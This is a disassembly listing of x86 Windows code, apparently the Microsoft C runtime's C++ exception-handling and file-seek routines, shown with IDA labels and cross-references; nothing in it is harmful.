

loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE80, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE78
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE7C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE78, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE7C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE78, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE7C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE84
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D454
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD3A8
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD3A4
		nop
		call	near ptr 26610AEh


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD160
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDEC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 27D0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		nop
		call	near ptr 26A0CACh
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD060[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDEC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
